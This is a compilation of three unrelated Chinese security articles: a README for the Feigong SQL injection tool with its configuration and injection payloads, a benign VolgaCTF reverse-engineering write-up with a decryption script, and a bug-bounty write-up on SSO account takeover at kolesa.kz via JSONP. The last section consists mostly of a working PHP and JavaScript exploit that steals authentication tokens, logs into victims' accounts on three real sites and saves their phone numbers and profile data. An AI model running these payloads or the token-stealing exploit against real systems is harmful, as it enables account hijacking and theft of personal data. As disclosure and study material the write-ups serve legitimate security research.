Feigong一切一切的核心在于sqlier/config.py和sqlier/advanced_config.py,代码层的自定义可以面对任何情况
### 安装
你可以通过点击下载，或者git clone来获取源码
git clone https://github.com/LoRexxar/Feigong.git
### 使用
首先你需要安装依赖
pip install -r requirements.txt
打开对应Feigong的目录，跑一下默认demo看看结果
python feigong.py
### 开始
Feigong是通过修改sqlier/config.py &
sqlier/advanced_config.py来实现注入的，config.py是feigong的基础配置，advanced_config.py是进阶配置，而default中是默认的配置文件，以免默认修改过后找不到正确的配置。
config.py是基础配置，只有基础配置完成的情况下才能进行正常的配置。
class BaseConfig:
def __init__(self):
"""
基类初始化，整个注入工具的核心配置
"""
# 目标url
self.url = 'http://demo.lorexxar.pw/get.php'
# 请求头参数
# cookies = {"username":data,"path":"/admin/","domain":"451bf8ea3268360ee.jie.sangebaimao.com"}
# self.headers = {"Cookie": "username=" + data + "; captcha=od8lgg6f7i71q16j9rd7p7j9a2; username=" + data}
self.headers = {}
# 传参方式 0为GET 1为POST
SqliRequest = (
"GET",
"POST"
)
self.sqlirequest = SqliRequest[0]
# 注入方式 0为正常 1为盲注 2为时间盲注
SqliMethod = (
"normal",
"build",
"time"
)
self.sqlimethod = SqliMethod[1]
"""
从这里开始，要进入对于payload的配置了，首先需要对注入语句进行配置，然后注入语句通过自定义的替换表，之后构造注入语句为请求
payload===>替换为指定payload===>自定义替换表===>请求===>开始注入
若为normal注入，必须构造返回BSqlier的payload，并通过test模式修改解包函数直至可以获取返回值（必须以空格为分隔符，结尾必须只有一个词（结尾可以通过修改自定义替换表中的值来修改））
eg: self.payload = "padding' union all select 1,'Feigong' #"
若为build注入，则为与、或条件构造，如果是与注入，padding必须为返回值的条件
eg: self.payload = "padding' && 2333 #"
若为time注入，则可以使用上面两种的任何一种，格式与其相符，同样，关键位置使用2333或者'Feigong'填充
eg: self.payload = "padding' union all select 1,'Feigong' #"
eg: self.payload = "padding' && 2333 #"
"""
self.payload = "padding' && 2333 #"
"""
配置请求,把请求中payload的位置设置为Feigong（如果拼错了就会全部无效...）
self.requesetformat = "user=Feigong&passwd=ddog123&submit=Log+In"
self.requesetformat = {"user": "Feigong", "password": "a"}
"""
self.requesetformat = "user=Feigong&passwd=ddog123&submit=Log+In"
# self.requesetformat = {"user": "Feigong", "password": "a"}
"""
在注入之前，你首先需要测试，test.py中包含所有的测试函数，包括test、get_now_database、get_version、get_user
self.wtest是是否进入测试模式、测试模式优先级最高和普通模式不兼容，默认开启
而testmethod则是选择使用那种测试，互相兼容可以同时跑
"""
self.wtest = False
self.testmethod = {
"test": 0,
"database": 1,
"version": 1,
"user": 1
}
"""
正式注入模式的选择，test模式开启时，无论正式注入模式是否开启都无效，默认开启
all为全部注入，将自动从database注入直到数据前10条
content为注入数据，可以预设columns、tables和database
columns为注入列名，可以预设tables和database
tables为注入表名，可以预设database
database为注入表名
统一规则为如果不预设，则自动调用上一层的类获取数据
"""
self.wsqli = True
self.sqlilocation = {
"content": 1,
"columns": 1,
"tables": 1,
"database": 1
}
advanced_config.py是进阶配置，进阶配置可以配置一些特殊的请况
class AdvanceConfig(BaseConfig):
def __init__(self):
"""
进阶配置，如果对代码不够熟悉，建议不修改这部分配置
"""
BaseConfig.__init__(self)
# 版本号
self.version = "V1.2.0"
# 初始化request
self.s = requests.Session()
# log日志级别，debug为显示大部分信息，info为注入结果的显示
LogLevel = (
logging.DEBUG,
logging.INFO,
logging.WARN
)
self.loglevel = LogLevel[0]
"""
若注入方式为build盲注，则通过返回长度判断
永真条件的长度（盲注时需要使用），默认为0，可设置, 如果不设置会默认使用self.payload获取的返回长度为self.len
"""
self.len = 0
"""
若注入方式为time，你需要设置延时，建议根据自己的网络环境选择，如果网络环境较差，建议还是大一点儿
建议2-5，现在版本还是单线程，所以时间盲注会比较慢...
"""
self.time = 3
"""
database可以自定义，默认为空，若为空会调用get_database(),这里是一个列表，必须按照列表格式
self.databases_name = ['test', 'test2']（当然，如果database_name错误...则不会注到数据）
"""
# self.databases_name = ['hctfsqli1', 'test']
self.databases_name = []
"""
然后是table name，tables_name的格式为字典+元组
self.tables_name = {'hctfsqli1': ('test1', 'test2'), 'test',('test1', 'test2')}(如果有写错某些值，则会注不到数据)
"""
# self.tables_name = {'test': ('test',), 'hctfsqli1': ('hhhhctf', 'test', 'users')}
self.tables_name = {}
"""
然后是self.columns_name，columns_name的格式为字典套字典+元组
self.columns_name = {'test': {'test': ('test', 'test1', 'test2')}, 'test2': {'test': ('test', 'test1', 'test2')}}
(同样，如果有写错的值，则会注入不到数据)
"""
# self.columns_name = {'test': {'test': ('test',)}, 'hctfsqli1': {'test': ('test1', 'testtest', 'flag1'), 'users': ('id', 'username'), 'hhhhctf': ('flag',)}}
self.columns_name = {}
"""
当选择注入content时，你需要指定输入数据的上限，默认为10
"""
self.content_count = 10
"""
配置自定义替换表,合理的替换表配置远远可以替换出想要的所有情况payload
"""
self.filter = {
# padding 为填充字段，build与注入要求padding必须为真值
'padding': 'user1',
# 符号替换（url encode是get默认自带的，不需要修改）
'\'': '\'',
'\"': '\"',
'&': '&',
'|': '|',
'>': '>',
'<': '<',
'=': '=',
'.': '.',
# 注入语句关键字替换
'union': 'union',
'select': 'SELECT',
'insert': 'insert',
'update': 'update',
'delete': 'delete',
'limit': 'limit',
'where': 'where',
# 注入函数
'user': 'user',
'database': 'database',
'version': 'version',
'if': 'if',
'ifnull': 'ifnull',
'concat': 'concat',
'ascii': 'ascii', # hex()、bin()
'count': 'count',
'substring': 'substring', # mid()、substr()
'length': 'length',
"sleep(" + repr(self.time) + ")": "sleep(" + repr(self.time) + ")", # benchmark()
# 库名表名关键字
'information_schema': 'information_schema',
'schemata': 'schemata',
'schema_name': 'schema_name',
'tables': 'tables',
'table_name': 'table_name',
'columns': 'columns',
'column_name': 'column_name',
# 然后是特殊的字符
' ': ' ', # 由于过滤后自动进行url encode，所以替换表不能使用url encode过的字符，eg:%0a->\n %0b->\x0b
'#': '#' # --+
}
"""
初始化dealpayload类，传入self.sqlimethod，self.payload, self.requestformat, self.filter
"""
self.dealpayload = ConPayload(self.sqlirequest, self.payload, self.requesetformat, self.filter, self.time)
Feigong现在的版本还仅仅支持对于mysql的3种注入方式： \- 普通注入（normal）：也就是会有返回的注入点 \-盲注（build）：没有返回，但可以通过真假条件来判断执行结果 \- 时间盲注（time）：没有返回，但是可以通过返回请求的间隔时间来判断真假
#### 基础配置
首先你需要进行基础的配置，首先是基础的目标url，请求头，传参方式，注入方式等...
# 目标url
self.url = 'http://demo.lorexxar.pw/get.php'
self.s = requests.Session()
# 请求头参数
# cookies = {"username":data,"path":"/admin/","domain":"451bf8ea3268360ee.jie.sangebaimao.com"}
# self.headers = {"Cookie": "username=" + data + "; captcha=od8lgg6f7i71q16j9rd7p7j9a2; username=" + data}
self.headers = {}
# 传参方式 0为GET 1为POST
SqliRequest = (
"GET",
"POST"
)
self.sqlirequest = SqliRequest[0]
# 注入方式 0为正常 1为盲注 2为时间盲注
SqliMethod = (
"normal",
"build",
"time"
)
self.sqlimethod = SqliMethod[0]
上面的每一步都给出了相应的参数，目标url中，不需要加上参数，关于参数的配置，我们会在后面进行...
ps:如果出现get和post请求都必须存在的情况，若注入点再post，可以直接把get请求代入到目标url中，如果反过来，则暂时不支持
#### 注入方式的配置
根据这一段的选择，我们会在后面进行不同的配置选项
SqliMethod = (
"normal",
"build",
"time"
)
self.sqlimethod = SqliMethod[0]
##### normal
如果注入模式为normal，需要定义基础payload
self.payload = "padding' union all select 1,'Feigong' #"
normal注入的基础payload要求必须返回 **Feigong**
##### build
如果注入模式为build，则需要配置基础payload，设置真值是返回的页面长度
若为build注入，则为与、或条件构造，如果是与注入，padding必须为返回值的条件
eg: self.payload = "padding' && 2333 #"
对于真值时的返回长度,可自定义，也可以不定义，因为test.py中的test函数会自动设置self.len（使用基础payload）
self.len = 0
##### time
如果注入模式为time，除了要设置基础payload以外，还需要设置睡眠时间，这部分在进阶配置中，默认为2
self.time = 2
如果网络环境太差，建议（2-5）
若为time注入，则可以使用上面两种的任何一种，格式与其相符，同样，关键位置使用2333或者'Feigong'填充
eg: self.payload = "padding' union all select 1,'Feigong' #"
eg: self.payload = "padding' && 2333 #"
#### 配置请求格式
配置请求,把请求中payload的位置设置为Feigong（如果拼错了就会全部无效...）
self.requesetformat = "user=Feigong&passwd=ddog123&submit=Log+In"
self.requesetformat = {"user": "Feigong", "password": "a"}
上面两个分别是对于get和post请求的请求格式
#### 选择注入模式
在注入之前，你首先需要测试，test.py中包含所有的测试函数，包括test、get_now_database、get_version、get_user
self.wtest是是否进入测试模式、测试模式优先级最高和普通模式不兼容，默认开启
而testmethod则是选择使用那种测试，互相兼容可以同时跑
self.wtest = True
self.testmethod = {
"test": 0,
"database": 1,
"version": 1,
"user": 1
}
在test成功后，就要开始正式的注入模式了...
正式注入模式的选择，test模式开启时，无论正式注入模式是否开启都无效，默认开启
content为注入数据，可以预设columns、tables和database，默认注入10条数据
columns为注入列名，可以预设tables和database tables为注入表名，可以预设database database为注入表名
统一规则为如果不预设，则自动调用上一层的类获取数据
self.wsqli = True
self.sqlilocation = {
"content": 1,
"columns": 1,
"tables": 1,
"database": 1
}
#### 进阶配置
在进阶配置中，我们是可以通过预设值来减少注入的范围
database可以自定义，默认为空，若为空会调用get_database(),这里是一个列表，必须按照列表格式（当然，如果database_name错误...则不会注到数据）
self.databases_name = ['hctfsqli1', 'test']
self.databases_name = []
然后是table name，tables_name的格式为字典+元组(如果有写错某些值，则会注不到数据)
self.tables_name = {'test': ('test',), 'hctfsqli1': ('hhhhctf', 'test', 'users')}
self.tables_name = {}
然后是self.columns_name，columns_name的格式为字典套字典+元组(同样，如果有写错的值，则会注入不到数据)
self.columns_name = {'test': {'test': ('test',)}, 'hctfsqli1': {'test': ('test1', 'testtest', 'flag1'), 'users': ('id', 'username'), 'hhhhctf': ('flag',)}}
self.columns_name = {}
当选择注入content时，你需要指定输入数据的上限，默认为10
self.content_count = 10
#### 配置自定义替换表
这部分一是在进阶配置中
配置自定义替换表,合理的替换表配置远远可以替换出想要的所有情况payload
合理的配置替换表，可以定制任意payload，例如 \- **#-- >group by a#** \- **sleep(2)-->benchmark(10000000,sha(1))**
总之，如果你对代码足够熟悉，可以生成任意payload
self.filter = {
# padding 为填充字段，build与注入要求padding必须为真值
'padding': 'user',
# 符号替换（url encode是get默认自带的，不需要修改）
'\'': '\'',
'\"': '\"',
'&': '&',
'|': '|',
'>': '>',
'<': '<',
'=': '=',
'.': '.',
# 注入语句关键字替换
'union': 'union',
'select': 'SELECT',
'insert': 'insert',
'update': 'update',
'delete': 'delete',
'limit': 'limit',
'where': 'where',
# 注入函数
'user': 'user',
'database': 'database',
'version': 'version',
'if': 'if',
'ifnull': 'ifnull',
'concat': 'concat',
'ascii': 'ascii', # hex()、bin()
'count': 'count',
'substring': 'substring', # mid()、substr()
'length': 'length',
"sleep(" + repr(self.time) + ")": "sleep(" + repr(self.time) + ")", # benchmark()
# 库名表名关键字
'information_schema': 'information_schema',
'schemata': 'schemata',
'schema_name': 'schema_name',
'tables': 'tables',
'table_name': 'table_name',
'columns': 'columns',
'column_name': 'column_name',
# 然后是特殊的字符
' ': ' ', # 由于过滤后自动进行url encode，所以替换表不能使用url encode过的字符，eg:%0a->\n %0b->\x0b
'#': '#' # --+
}
#### 开始注入
开始注入
python feigong.py
* * * | 社区文章 |
# VolgaCTF TrustVM Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
下载题目，总共三个文件: `reverse`, `encrypt`,`data.enc`
[题目地址](https://drive.google.com/drive/folders/1xi005iFU8PYxWl4ofCzPaKQny-KoTV0L?usp=sharing)
另外附上[idb文件](https://drive.google.com/open?id=1Toe2873nlTox556oVeBCocY818rjErch)地址方便调试
根据题目名和文件猜测， 应该是一个虚拟机，`encrypt`文件中存储opcode，
`data.enc`是通过`reverse`根据`encypt`加密得来的密文。
ida 分析`reverse`代码
运行`reverse`需要输入 `progname`(`encrypt`) 和 `filetoprocess`(`被加密文件`) 做参数。
构造`test` 测试文件
0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
第一次运行
分析`reverse`文件的`main`函数代码
得到读取文件的函数 记 `read_` `(sub_55CBF7147210)`
程序开始时通过传入参数读入`encrypttest`文件
接着解码opcode 并跳转
开始调试，跟踪执行流程
发现出题人对代码做了处理，每个opcode对应的操作被写在一块汇编代码中，无法反编译。但是有一个特征，会经常跳回`0055D1D8DB1AD0`段代码，
在此处下断点，猜测是对`encrypt`文件进行解码跳转到下一个指令。
根据ida的流程图，在附近转转就会发现写入数据到加密文件的块
完整分析这个块就知道，写入数据由寄存器`rbp`确定， 在`Hex View`设置 `Synchronize with RBP`
再次调试，发现`rbp`就是`test`文件数据存放的位置，而且整个过程`rbp`值没有变动
每次F9， 记录F9次数， 直到数据改变，由此可以得到，修改`rbp`指向数据的代码块(地址: `0561D0A7D5F20`)
多次调试发现，该块代码是将固定地址(`0561D0A9D7240`)的数据复制到`rbp`指向的数据，每次复制16*4字节数据。猜测加密处理的基本单位是
64 字节。
新开一个`Hex View`
看`0561D0A9D7240`处数据，调试得到对该处数据进行修改的代码段。发现这段数据是由两处数据(`0561D0A9D7380`[^1]
`0561D0A9D7280`[^2])异或
(`0000561D0A7D5CB0`)后通过`encode_1`(`0561D0A7D5C10`)操作的结果。第二段数据就是待加密数据(有很明显特征，可以更改数据进行验证)。
分析`encode_1`，发现其接收两个参数，一个被操作数据，另一short类型的数据。调试发现参数只存在两种情况(`0561D0A9D7380`,
`0x6f`) 和 (`0561D0A9D7280`, `0x4d`)
跟踪地址 000055CBF7348380(key[i]) 000055CBF7348280(buf[i]) 000055CBF7348240(enc[i])
1->>>
E1 A9 E1 2E 0B 15 44 9C 08 DC DC F3 1A 91 9C 6E
34 5C E4 5E F9 E2 5F F1 F0 86 05 A8 70 6E 04 53
9D 31 EC 10 AB EA F6 74 44 79 0F 28 53 40 37 2C
17 9A C3 67 95 2F 4B 27 D9 3F F9 1D 2A 70 77 5D ---> magic/key[0]
xor(buf[0], key[0]) -->
D0 9B D2 1A 3E 23 73 A4 31 EC BD 91 79 F5 F9 08
05 6E D7 6A CC D4 68 C9 C9 B6 64 CA 13 0A 61 35
AC 03 DF 24 9E DC C1 4C 7D 49 6E 4A 30 24 52 4A
26 A8 F0 53 A0 19 7C 1F E0 0F 98 7F 49 14 12 3B
encode_1(| , 0x4d) -->
EF 03 FC 01 F3 2F 89 42 62 07 7A 53 5A C3 67 64
8E 34 86 BD 37 32 AF 3E 1F A1 C0 ED 5A 8D 99 1A
2D 39 D9 96 4C 79 42 21 AC 86 75 E0 9B C4 93 3B
98 A9 2F C9 4D 09 86 44 4A C9 04 15 7E 0A 34 83 ---> enc[0]
2->>>
E1 A9 E1 2E 0B 15 44 9C 08 DC DC F3 1A 91 9C 6E
34 5C E4 5E F9 E2 5F F1 F0 86 05 A8 70 6E 04 53
9D 31 EC 10 AB EA F6 74 44 79 0F 28 53 40 37 2C
17 9A C3 67 95 2F 4B 27 D9 3F F9 1D 2A 70 77 5D ---> key[0]
encode_1(key[0], 0x6f) -->
E1 B3 CA 97 A5 93 EC 9F FC 0E 15 B8 BB AE F0 D4
70 97 85 0A 22 4E 04 6E EE 79 8D 48 4E 37 1A 2E
72 AF 7C F1 AF 78 78 C3 02 54 38 37 82 A9 CE 18
76 88 55 75 7B 3A A2 BC 07 94 29 A0 1B 96 0B CD
xor(|, buf[0]) -->
D0 81 F9 A3 90 A5 DB A7 C5 3E 74 DA D8 CA 95 B2
41 A5 B6 3E 17 78 33 56 D7 49 EC 2A 2D 53 7F 48
43 9D 4F C5 9A 4E 4F FB 3B 64 59 55 E1 CD AB 7E
47 BA 66 41 4E 0C 95 84 3E A4 48 C2 78 F2 6E AB ---> key[1]
xor(buf[1], key[1]) -->
E1 B3 CA 97 A5 93 EC 9F FC 0E 15 B8 BB AE F0 D4
70 97 85 0A 22 4E 04 6E EE 79 8D 48 4E 37 1A 2E
72 AF 7C F1 AF 78 78 C3 02 54 38 37 82 A9 CE 18
76 88 55 75 7B 3A A2 BC 07 94 29 A0 1B 96 0B CD
encode_1(| , 0x4d) -->
94 F7 80 32 05 74 C3 72 A1 39 7C 56 F9 B2 74 92
FD 93 DF A1 02 77 D7 15 9E 1A EE B2 50 41 C4 89
C0 CD 3D AF 11 C9 E9 46 C3 45 EE 95 2F FE 15 0F
6F 58 80 0A E7 46 30 D5 19 C3 0E B1 AA 6E 4F 47 --> enc[1]
3->>>
D0 81 F9 A3 90 A5 DB A7 C5 3E 74 DA D8 CA 95 B2
41 A5 B6 3E 17 78 33 56 D7 49 EC 2A 2D 53 7F 48
43 9D 4F C5 9A 4E 4F FB 3B 64 59 55 E1 CD AB 7E
47 BA 66 41 4E 0C 95 84 3E A4 48 C2 78 F2 6E AB
...
得到加密算法
# encoding=utf-8
magic = [225, 169, 225, 46, 11, 21, 68, 156, 8, 220, 220, 243, 26, 145, 156, 110, 52, 92, 228, 94, 249, 226, 95, 241, 240, 134, 5, 168, 112, 110, 4, 83, 157, 49, 236, 16, 171, 234, 246, 116, 68, 121, 15, 40, 83, 64, 55, 44, 23, 154, 195, 103, 149, 47, 75, 39, 217, 63, 249, 29, 42, 112, 119, 93]
def xor(a, b):
res = []
for i in range(len(a)):
res.append(a[i] ^ b[i])
return res
def encode_1(arr, num):
result = [0] * 0x40
cl = num & 7
idx = num >> 3
for i in range(0x40):
result[(idx+i)%0x40] = ((arr[(0x3f+i+1)%0x40] << cl) | (arr[(0x3f+i)%0x40]>>(8-cl)))&0xff
return result
def encrypt(buf):
key = [] * len(buf)
enc = [] * len(buf)
key[0] = magic
enc[0] = encode_1(xor(magic, buf[0]), 0x4d)
for i in range(len(buf) - 1):
key[i+1] = xor(encode_1(key[i], 0x6f), buf[i])
enc[i+1] = encode_1(xor(key[i+1], buf[i+1]), 0x4d)
return enc
# 解密
# de_decode_1 来自 yype
def de_encode_1(arr,num):
result = [0] * 0x40
cl = num & 7
idx = num >> 3
for i in range(0x40):
result[(0x3f+i+1)%0x40] += arr[(idx+i)%0x40] >> cl
result[(0x3f+i)%0x40] += (arr[(idx+i)%0x40] << (8-cl))&0xff
return result
def decrypt():
# get enc
data = open("./data.enc", "rb").read()
data += b'x00' * (len(data)%0x40) # padding
len_0 = len(data)//0x40
enc = []
buf = []
key = []
for i in range(len_0):
enc.append([x for x in data[i*0x40: (i+1)*0x40]])
buf.append([])
key.append([])
key[0] = magic
buf[0] = xor(de_encode_1(enc[0], 0x4d), magic)
for i in range(1, len_0):
key[i] = xor(encode_1(key[i-1], 0x6f), buf[i-1])
buf[i] = xor(de_encode_1(enc[i], 0x4d), key[i])
data = b''
# show buf
for x in buf:
data += bytearray(x)
open("data.png", "wb").write(data)
if __name__ == "__main__":
decrypt()
得到flag
总结一下，这个题目关键是调试，由于算法部分只能看汇编，直接全部看明白需要花费较长时间。调试和猜测能大大减少时间。 | 社区文章 |
#### 说明
这篇文章的内容是，我怎样使用单点登录（Single Sign-On），实现了接管Kolesa网站的任意帐户。
大概的漏洞逻辑：不安全的JSONP调用会破坏整个SSO机制的安全性。
#### JSONP的定义
JSONP是一种将JSON数据发送到其他域的方法。
* 特点
* 可以加载外部JavaScript对象
* 不使用XMLHttpRequest对象
* 不太安全
* 在浏览器中绕过SOP
JSONP请求/响应示例：
#### 单点登录简介
单点登录（Single Sign-On）
#### 信息搜集
信息收集后发现，Kolesa网站使用了SSO，使用SSO的网站是：
（1）<https://market.kz>
（2）<https://krisha.kz>
（3）<https://kolesa.kz>
它们的身份验证服务器都为：<https://id.kolesa.kz>
#### SSO工作流程
SSO工作流程图，如下：
在这个身份验证模型中，由于一个域不能为其他域设置`authentication cookie`，所以`authentication token`应在
authentication server 和 其他域 之间传输。
考虑到SSO工作流程图中的橙色框，每个站点均应在验证之后保存一个`authentication token`cookie。
此外，authentication
server也保存了它的cookie，因此在几个HTTP请求之后，我找到了每个Kolesa网站，和它域下的那个“身份验证cookie”的名称，对应关系如下图：
#### 通过JSONP调用来处理SSO
JSONP调用用于进一步的身份验证。
如果用户已经登录了这三个网站中的任何一个，则将进行JSONP调用以对该用户进行身份验证。
为什么这里使用了JSONP？
因为Kolesa网站认为，执行此操作更简单，可以避免进行CORS设置。
其实由于域的来源不同，Kolesa网站应该实施CORS（Cross Origin Resource Sharing）。
但他们决定使用JSONP。
流程图：
关键是，例如，一旦某个用户登录(3)kosela.kz，他们将拥有：
一个`ccid`cookie [id.kolesa.kz域]
一个用于传输身份验证的`authentication token`cookie [kosela.kz域]
一个`ssid`cookie [kosela.kz域]
此后，如果用户要登录网站c，只需单击一下，因为 [id.kolesa.kz域]
有`authentication`cookie，因此会立即生成`authentication
token`，并且用户将在网站c上拥有对应的`authentication cookie`。
根据上面的流程图，【阶段4】表示了：
如何进行JSONP调用.
如何将authentication token转换为某个域名下的authentication cookie.
JSONP调用的原因：
如果用户已经通过进行了身份验证id.kolesa.kz，则将收到以下响应：
HTTP/1.1 200 OK
Server: openresty/1.13.6.2
Date: Mon, 19 Aug 2019 16:43:26 GMT
Content-Type: text/javascript;charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Backend-Server: auth-be3.alaps.kz.prod.bash.kz
X-Bug-Bounty: Please report bugs and vulnerabilities to [email protected]
Content-Security-Policy: frame-ancestors 'self' http://webvisor.com https://webvisor.com
Strict-Transport-Security: max-age=31536000
Content-Length: 627
window.xdm = {
sess: {
is_authenticated: 1,
token: 'xG3ROFWcb7pnXSnMr8MkaBvH01pLlCHqn0sPt0PVL6BBWYdQPdvA31tBi6dLB5njv5jhMW3y/cGBMRB9LC/69zv867wweaDhkxX6arGVzYDy2q+J52nkOQJ+62rR9wLPYJGyEpNGWeOBSp12vugXZUPq2RA6FMptbNkGQpJFjAclXSzduj7wJJgAUONMj3mkkElM1nWmIllrl5zDEz6s7077E4ibx//BvnfZ9AIC/9b2PB+QzVKOnSzzcr9wSXqta9TEDHvjopqbUd4UE2xSMRSj/zxPQlCba5632hcIXnzZB3A8fvahvf2Hm5ssuC+cwuKU8pAdE/qcGQSJKdhpYXxntGkQiLdEAliyCq+fahS4itb6HlFH/+H20RsZA+cjyaF7ntnW5tYY31vxJXovrR3oinaj9YDSzoCZYMDYPJMdk+HuZhRuxxEl8abuNlGD0aCt2GCPV7GY0J9Ma7AcPw=='
}
};
(function ($) {
"use strict";
$.xdm = window.xdm;
}(jQuery));
可以看出，存在一个名为`sess`的对象，其中包含两个属性：`is_authenticated`和`token`。
该对象负责传输身份验证。此时，用户拥有当前网站的`authentication token`，但没有`authentication
cookie`,因此进行了第二次调用：
JS代码：
#### 存在漏洞的外部JavaScript对象
问题是：
任意origin可以提取出`authentication token`!
当然，这是因为JSONP调用绕过了Same Origin Policy。
利用该漏洞，只需单击一下即可接管帐户:)
#### 漏洞利用阶段
场景很简单：
1.设置一个html页面，作用是代表任何用户调用JSONP
2.欺骗经过身份验证的用户访问我们的恶意网站
3.用户发送`authentication token`到我们的网站
4.用别的用户的身份登录并做坏事
漏洞利用代码（客户端+服务器端调用）：
<?php
$victim_ip_address = "";
$output="";
$phone_nums="";
// Function to send HTTP GET requests, returning [contents,location,cookies].
function http_get($URL, $cookies = "", $xhr=false)
{
global $victim_ip_address;
$xhr_header="";
if ($xhr == true) {
$xhr_header="X-Requested-With: XMLHttpRequest\r\n";
}
// Set HTTP headers, add X-Forwarded-For header to spoof IP address...
$context = stream_context_create(
array(
"http" => array(
'follow_location' => false,
"method" => "GET",
"header" => "X-Forwarded-For:$victim_ip_address\r\nCookie: $cookies\r\n$xhr_header"
)
)
);
// Process HTTP response headers...
$return_value["contents"] = file_get_contents($URL, false, $context);
array_shift($http_response_header);
$resp_cookies = [];
$return_value["location"] = $URL;
foreach ($http_response_header as $header) {
$header_pair = explode(": ", $header);
$header_name = $header_pair[0];
$header_value = $header_pair[1];
if ($header_name == "Location") {
$return_value["location"] = $header_value;
} else if ($header_name == "Set-Cookie") {
$cookie_name = explode("=", $header_value)[0];
$cookie_value = explode(";", explode("=", $header_value)[1])[0];
$resp_cookies[$cookie_name] = $cookie_value;
}
}
$return_value["cookies"] = $resp_cookies;
return $return_value;
}
// Function to extract sensitive information.
function ExtractContents($resp)
{
global $output;
$cookies = "";
$PanelURL = "";
global $phone_nums;
$PageToExtractPhoneNum="";
$phone_num_regex="";
$xhr=false;
$name = "";
foreach ($resp["cookies"] as $cookie_name => $cookie_value) { //Check cookies...
if ($cookie_name == "ssid") {
$name = "kolesa.kz";
$PanelURL = "https://kolesa.kz/my/";
$PageToExtractPhoneNum="https://kolesa.kz/my/ajax-settings-personal/";
$phone_num_regex='/phones="\[(.*)\]"/';
} else if ($cookie_name == "mtsid") {
$name = "market.kz";
$PanelURL = "https://market.kz/cabinet/";
$PageToExtractPhoneNum="https://market.kz/ajax/getVerifiedPhones.json?ignoreSession=true";
$phone_num_regex='/"phones":(.*)\]/';
} else if ($cookie_name == "krssid") {
$name = "krisha.kz";
$PanelURL = "https://krisha.kz/my/";
$PageToExtractPhoneNum="https://krisha.kz/my/ajax-get-form/?userType=1";
$phone_num_regex='/"phones" :list="\[\{(.*)\}\]"/';
$xhr=true;
}
$cookies .= $cookie_name . "=" . $cookie_value . ";";
}
if($phone_nums==""){
$contents = http_get($PageToExtractPhoneNum, $cookies,$xhr)["contents"]; // Read pages contating phone numbers and extract them.
preg_match($phone_num_regex, $contents, $phone_num_matches); // Extract phone numbers.
if (sizeof($phone_num_matches) != 0){
$phone_nums=str_replace(['"'," ","(",")",'"phones":[]','phones="[]"'],'',$phone_num_matches[0]); // Remove empty results and bad strings.
if ( $phone_nums != "") {
$output .= "User phone numbers:\n$phone_nums\n\n";
}
}
}
$output .= str_repeat("=", 10) . " $name " . str_repeat("=", 10)."\n\n";
$output .= "Authentication cookie: $cookies\n\n";
$contents = http_get($PanelURL, $cookies)["contents"]; // Set stolen cookies to access victim account, read user page contents.
preg_match('/window\.digitalData =.*\};/', $contents, $user_info_matches);//Extract sensitive information matching Regex.
if( sizeof($user_info_matches)!=0 ){
$user_info = $user_info_matches[0];
$output .= "User information:\n$user_info\n\n";
}
}
// Main Function
function Main()
{
global $victim_ip_address;
global $phone_nums;
global $output;
$victim_ip_address = $_SERVER['REMOTE_ADDR'];
if (isset($_GET['token'])) { // Authentication cookie is sent by XMLHTTPRequest.
$token = urlencode($_GET['token']);
// Send athentication token to the target websites for validation.
$market_resp = http_get("https://market.kz/user/ajax-xdm-auth/?token=" . $token);
$kolesa_resp = http_get("https://kolesa.kz/user/ajax-xdm-auth/?token=" . $token);
$krisha_resp = http_get("https://krisha.kz/user/ajax-xdm-auth/?token=" . $token);
// ExtractContents() function will processes responses for sensitive information.
// Token is valid, load and store sensitive information of the victim.
$success1=($market_resp["location"] == "/user/ajax-xdm-auth/");
$success2=($kolesa_resp["location"] == "/user/ajax-xdm-auth/");
$success3=($krisha_resp["location"] == "/user/ajax-xdm-auth/");
$success=($success1 && $success2 && $success3);
if ($success) {
$now = time();
$output_dir = "./$victim_ip_address/$now/"; // Create a directory based on IP address of the victim and current timestamp.
mkdir($output_dir, 0755, true);
ExtractContents($market_resp);
ExtractContents($kolesa_resp); // Load and extract sensitive information.
ExtractContents($krisha_resp);
file_put_contents("$output_dir/victim_info.txt",$output);//Save all information extracted to the output file.
die("success");
} else { // Token isn't valid, redirected to the login page.
die("failure");
}
}
}
Main();
?>
<html>
<body onload="Main()">
<script>
var tries_num = 0;
var max_tries = 30; // Try 30 times to avoid failure.
window.jQuery = window; // As JQuery script isn't loaded, we redefine it to avoid errors.
function Main() { // Main function.
Create_JSONP();
}
function Check(xdm) { // Function handling "xdm" object loaded by JSONP.
if (tries_num == 1) {
document.body.innerText += "+ JSONP object was loaded successfully.\n\n"
}
var is_authenticated = xdm["sess"]["is_authenticated"]; // Extract user user authentication status from xdm object.
var token = xdm["sess"]["token"]; // Extract Authentication token from xdm object.
if (is_authenticated == 1) { // User is authenticated.
if (tries_num == 1) {
document.body.innerText += "+ You are logged in.\n\n"
}
document.body.innerText += "* Sending authentication token to the server...\n"
XHR_Request("token=" + encodeURIComponent(token), Check_Server_Response) // Send authentication token to the server.
} else {
document.body.innerText += "- You are not logged in!\n"
document.body.innerText += "- Please login to one of your accounts on market.kz, kolesa.kz or krisha.kz and try again.\n"
}
}
function XHR_Request(data, callback) { // Function to send authentication tokens to the server.
var xhr = new XMLHttpRequest();
xhr.open('GET', "?" + data, true);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
callback(xhr.responseText.trim())
}
}
xhr.send();
}
function Check_Server_Response(response) { // Function handling responses from the server.
if (response == "success") { // Server authenticated to the victim accounts successfully, token is valid.
document.body.innerText += "\n+ Success! Token is valid for authentication! (" + tries_num + "/" + max_tries + ")\n"
document.body.innerText += "+ Now an attacker can access your accounts on market.kz, kolesa.kz and krisha.kz!\n"
document.body.innerText += "+ Please check files created on the server for more information.\n\n"
} else { // Server failed to access victim accounts.
document.body.innerText += "- Token was invalid.Trying again...(" + tries_num + "/" + max_tries + ")\n"
Create_JSONP()
}
}
function Create_JSONP() { // Function to create and load JSONP objects.
if (tries_num == max_tries) {
document.body.innerText += "\nFailure: Could not find any valid token for authentication!";
return;
} else if (tries_num == 0) {
document.body.innerText = "* Loading JSONP object from https://id.kolesa.kz/authToken.js...\n\n"
}
tries_num += 1
// Same-Origin Policy allows current origin to load and handle cross-origin JSONP objects.
// Create and append JSONP object loading https://id.kolesa.kz/authToken.js to the document.
var JSONP = document.createElement('script');
